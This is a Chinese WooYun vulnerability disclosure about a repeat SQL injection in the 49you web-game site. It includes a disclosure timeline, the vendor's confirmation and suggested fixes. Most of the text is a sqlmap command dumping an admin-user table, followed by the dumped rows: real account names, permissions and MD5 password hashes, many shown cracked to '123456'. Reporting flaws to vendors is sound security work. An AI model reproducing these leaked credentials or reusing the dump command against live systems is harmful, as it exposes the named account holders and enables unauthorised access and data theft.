2015-06-28: 细节已通知厂商并且等待厂商处理中 2015-06-29: 厂商已经确认,细节仅向厂商公开 2015-07-09: 细节向核心白帽子及相关领域专家公开 2015-07-19: 细节向普通白帽子公开 2015-07-29: 细节向实习白帽子公开 2015-08-13: 细节向公众公开
说好的叁万呢,就是匿在哪里看漏洞,然后修复掉对吗- -,没事啦,我这个人很说的开的
续
WooYun: 四九游网页游戏主站post注入泄露用户以及管理员订单号等等各种数据
由于厂商修复了注入,但是你的安全真的做好了吗?没有。
数据再次泄露
sqlmap.py -r C:\1.txt -D "mei" -T "49app_spread_admin_user" -C "company_id,company_name,create_date,email,id,password,phone,powers,user_name" --dump
账号密码充值金额还有很多,其中我按ctrl+c给取消了,太多了。。上部分数据
| 49CPS16 || 1625 | <blank> | 2015-03-17 13:00:39 | NULL | 1093 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,6 | 49CPS17 || 1626 | <blank> | 2015-03-17 13:01:04 | NULL | 1094 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,6 | 49CPS18 || 1627 | <blank> | 2015-03-17 13:01:28 | NULL | 1095 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,6 | 49CPS19 || 1628 | <blank> | 2015-03-17 13:01:54 | NULL | 1096 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,6 | 49CPS20 || 1629 | <blank> | 2015-03-17 14:42:06 | NULL | 1097 | 1AE8BCA812C34AC6249E9A306CE18E0C | NULL | 1,2,3,5,6 | gzwanqu || 1630 | <blank> | 2015-03-17 15:57:27 | NULL | 1098 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,6 | 49CPS21 || 1631 | <blank> | 2015-03-17 15:57:57 | NULL | 1099 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,6 | 49CPS22 || 1632 | <blank> | 2015-03-17 15:58:23 | NULL | 1100 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,6 | 49CPS23 || 1633 | <blank> | 2015-03-17 16:22:36 | NULL | 1101 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | fenghuogh || 1634 | <blank> | 2015-03-17 16:23:01 | NULL | 1102 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | mowugh || 1635 | <blank> | 2015-03-17 16:23:36 | NULL | 1103 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | maxzhf || 1636 | <blank> | 2015-03-17 16:23:56 | NULL | 1104 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | xinzaitianya || 1637 | <blank> | 2015-03-17 16:45:31 | NULL | 1105 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,3 | timocps319 || 1639 | <blank> | 2015-03-17 17:01:48 | NULL | 1106 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,3 | timocps227 || 1640 | <blank> | 2015-03-17 17:04:45 | NULL | 1107 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,3 | timocps737 || 1641 | <blank> | 2015-03-17 17:11:18 | NULL | 1108 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,3 | timocps546 || 1642 | <blank> | 2015-03-17 17:20:47 | NULL | 1109 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | msd || 1643 | <blank> | 2015-03-17 17:26:14 | NULL | 1110 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,3 | timocps853 || 1638 | <blank> | 2015-03-17 17:26:23 | NULL | 1111 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | fengxingyouxi || 1644 | <blank> | 2015-03-17 18:27:38 | NULL | 1112 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,5,6 | 49CPS24 || 1645 | <blank> | 2015-03-17 18:28:20 | NULL | 1113 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,5,6 | 49CPS25 || 1646 | <blank> | 2015-03-17 19:41:18 | NULL | 1114 | C622FBF86C55AAF42F77C54B27B32B76 | NULL | 1,2,3,5,6 | gzwanqu002 || 1647 | <blank> | 2015-03-17 19:42:07 | NULL | 1115 | 048C79937A801D12DC1180F466CB12B7 | NULL | 1,2,3,5,6 | gzwanqu003 || 1648 | <blank> | 2015-03-17 19:42:28 | NULL | 1116 | 08A5C46A977C8F64AADC49F901AA12CE | NULL | 1,2,3,5,6 | gzwanqu004 || 1649 | <blank> | 2015-03-17 19:42:54 | NULL | 1117 | A575D12A8381F5F37A1A395D86589625 | NULL | 1,2,3,5,6 | gzwanqu005 || 1650 | <blank> | 2015-03-17 19:43:20 | NULL | 1118 | C22F297D8E5055D3A5C9F1FCFEEE2F9E | NULL | 1,2,3,5,6 | gzwanqu006 || 1651 | <blank> | 2015-03-17 19:43:44 | NULL | 1119 | BEC7667FFA5E480AB7EB13E5B5F1BD41 | NULL | 1,2,3,5,6 | gzwanqu007 || 1652 | <blank> | 2015-03-17 19:44:09 | NULL | 1120 | 850AF07C79EB99E44642070293133B83 | NULL | 1,2,3,5,6 | gzwanqu008 || 1653 | <blank> | 2015-03-17 19:44:41 | NULL | 1121 | 0B4534DD9FB7DE3C095C7C0A8E3FDF68 | NULL | 1,2,3,5,6 | gzwanqu009 || 1655 | <blank> | 2015-03-17 19:45:03 | NULL | 1122 | 55025E52E325F59BA668298DC5551FFE | NULL | 1,2,3,5,6 | gzwanqu010 || 1656 | <blank> | 2015-03-17 19:45:23 | NULL | 1123 | 1F7DA6000F5EB0BC3FB9C4FAFE046624 | NULL | 1,2,3,5,6 | gzwanqu011 || 1657 | <blank> | 2015-03-17 19:45:49 | NULL | 1124 | 5FAD9C574E4383489316D98E9C4561E4 | NULL | 1,2,3,5,6 | gzwanqu012 || 1658 | <blank> | 2015-03-17 19:46:09 | NULL | 1125 | A1152E41EA5EC1B14B46C9FD6DD9FC2D | NULL | 1,2,3,5,6 | gzwanqu013 || 1659 | <blank> | 2015-03-17 19:46:27 | NULL | 1126 | 12BBC45A6D80B483CE67134EE141CD5B | NULL | 1,2,3,5,6 | gzwanqu014 || 1660 | <blank> | 2015-03-17 19:47:41 | NULL | 1127 | B4FCE9A56E1DF847A17995FE9DA38DBF | NULL | 1,2,3,5,6 | gzwanqu015 || 1661 | <blank> | 2015-03-17 19:47:59 | NULL | 1128 | ABA5900F7EBA12BA78721E447D80FEF9 | NULL | 1,2,3,5,6 | gzwanqu016 || 1 | <blank> | 2015-03-18 09:35:26 | NULL | 1129 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | chenjing || 1690 | <blank> | 2015-03-18 09:38:21 | NULL | 1130 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | mzw || 1689 | <blank> | 2015-03-18 09:44:06 | NULL | 1131 | 94302B999DF2D40ED553837288C4F286 | NULL | 1,2,5,6 | max0518 || 1692 | <blank> | 2015-03-18 10:20:47 | NULL | 1132 | 0C3C2BB8D84A4608C9AD2BA23B424D5A | NULL | 1,2,3,5,6 | gzlingyou || 1683 | <blank> | 2015-03-18 10:22:47 | NULL | 1133 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | shouyoutianxia || 1693 | <blank> | 2015-03-18 10:46:06 | NULL | 1134 | 9F2A6CA44F910FC8DACF138C772DEA4C | NULL | 1,2,3,5,6 | gzwanqu017 || 1694 | <blank> | 2015-03-18 10:46:40 | NULL | 1135 | 158D7FBD0E07B726DFA99C3F0CFF6AAB | NULL | 1,2,3,5,6 | gzwanqu018 || 1695 | <blank> | 2015-03-18 10:47:04 | NULL | 1136 | 23A385A677DA8BCFC2D0096F265D4C35 | NULL | 1,2,3,5,6 | gzwanqu019 || 1696 | <blank> | 2015-03-18 10:47:38 | NULL | 1137 | A479E986EB8830C39CD0B6B14B417538 | NULL | 1,2,3,5,6 | gzwanqu020 || 1697 | <blank> | 2015-03-18 10:47:59 | NULL | 1138 | 30B5D1EB4809951614F9BE72E2EF75D9 | NULL | 1,2,3,5,6 | gzwanqu021 || 1698 | <blank> | 2015-03-18 11:17:28 | NULL | 1139 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,5,6 | 49CPS26 || 1699 | <blank> | 2015-03-18 11:19:32 | NULL | 1140 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,5,6 | 49CPS27 || 1700 | <blank> | 2015-03-18 13:15:13 | NULL | 1141 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,3 | 91chuanmeicps || 1701 | <blank> | 2015-03-18 14:20:47 | NULL | 1142 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | hclm3 || 1702 | <blank> | 2015-03-18 14:21:39 | NULL | 1143 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | hclm4 || 1681 | <blank> | 2015-03-18 15:22:13 | NULL | 1144 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | yiyou || 1684 | <blank> | 2015-03-18 15:55:17 | NULL | 1145 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | tianqu || 1703 | <blank> | 2015-03-18 15:55:31 | NULL | 1146 | 76D6B6F8E3ADAA07236D166899C06636 | NULL | 1,2,3,5,6 | gzwanqu023 || 1704 | <blank> | 2015-03-18 15:56:06 | NULL | 1147 | 854E4BB6FA614A92F6E1CD7E11122B28 | NULL | 1,2,3,5,6 | gzwanqu024 || 1705 | <blank> | 2015-03-18 15:56:46 | NULL | 1148 | 7CAEEADECF72CF578ADFE26E25B0B9BF | NULL | 1,2,3,5,6 | gzwanqu025 || 1706 | <blank> | 2015-03-18 15:58:47 | NULL | 1149 | 4BBF386CD2FCF497DAAEB81CB1F323E8 | NULL | 1,2,3,5,6 | gzwanqu026 || 1707 | <blank> | 2015-03-18 15:59:08 | NULL | 1150 | 1A7CBB76608429D94D6DF2A931AB9D52 | NULL | 1,2,3,5,6 | gzwanqu027 || 1709 | <blank> | 2015-03-18 16:26:44 | NULL | 1151 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | htc || 1710 | <blank> | 2015-03-18 16:29:32 | NULL | 1152 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | wuhandianxin || 1712 | <blank> | 2015-03-18 16:54:52 | NULL | 1154 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | tsjd || 1711 | <blank> | 2015-03-18 16:57:27 | NULL | 1155 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | gzgs || 1713 | <blank> | 2015-03-18 17:06:25 | NULL | 1156 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | zhizunhz || 1688 | <blank> | 2015-03-18 17:31:08 | NULL | 1157 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | gzcj || 1674 | <blank> | 2015-03-19 09:19:03 | NULL | 1158 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | tt || 1714 | <blank> | 2015-03-19 13:39:33 | NULL | 1159 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1 | kj || 1682 | <blank> | 2015-03-19 13:57:28 | NULL | 1160 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | anfeng || 1715 | <blank> | 2015-03-19 14:27:47 | NULL | 1161 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | yujiangh || 1716 | <blank> | 2015-03-19 15:45:35 | NULL | 1162 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | zhangshang || 1717 | <blank> | 2015-03-20 15:09:38 | NULL | 1163 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | jiutiangh || 1718 | <blank> | 2015-03-20 18:45:07 | NULL | 1164 | A855ECDF21679F50B18E4AAEDC474C93 | NULL | 1,2,5,6 | rodica || 1686 | <blank> | 2015-03-23 11:33:18 | NULL | 1165 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | chuanqi || 1720 | <blank> | 2015-03-23 16:30:04 | NULL | 1166 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | liuming || 1721 | <blank> | 2015-03-24 11:14:18 | NULL | 1167 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,5,6 | maxlm || 1722 | <blank> | 2015-03-24 11:17:11 | NULL | 1168 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | qingtiangh || 1723 | <blank> | 2015-03-24 14:39:10 | NULL | 1169 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2,5,6 | momo || 1724 | <blank> | 2015-03-24 14:41:40 | NULL | 1170 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1 | tiandi || 1725 | <blank> | 2015-03-24 15:07:51 | NULL | 1171 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1 | 49CPA || 1726 | <blank> | 2015-03-24 17:46:49 | NULL | 1172 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | wancaigzs || 1727 | <blank> | 2015-03-25 11:20:01 | NULL | 1173 | E10ADC3949BA59ABBE56E057F20F883E (123456) | NULL | 1,2 | yhghbmqy |
1:密码改掉2:sql注入修复
危害等级:高
漏洞Rank:18
确认时间:2015-06-29 10:19
确认时间由于是周末,未早点确认比较抱歉非常感谢白帽子童鞋 @小龙,技术正在紧急修复中
暂无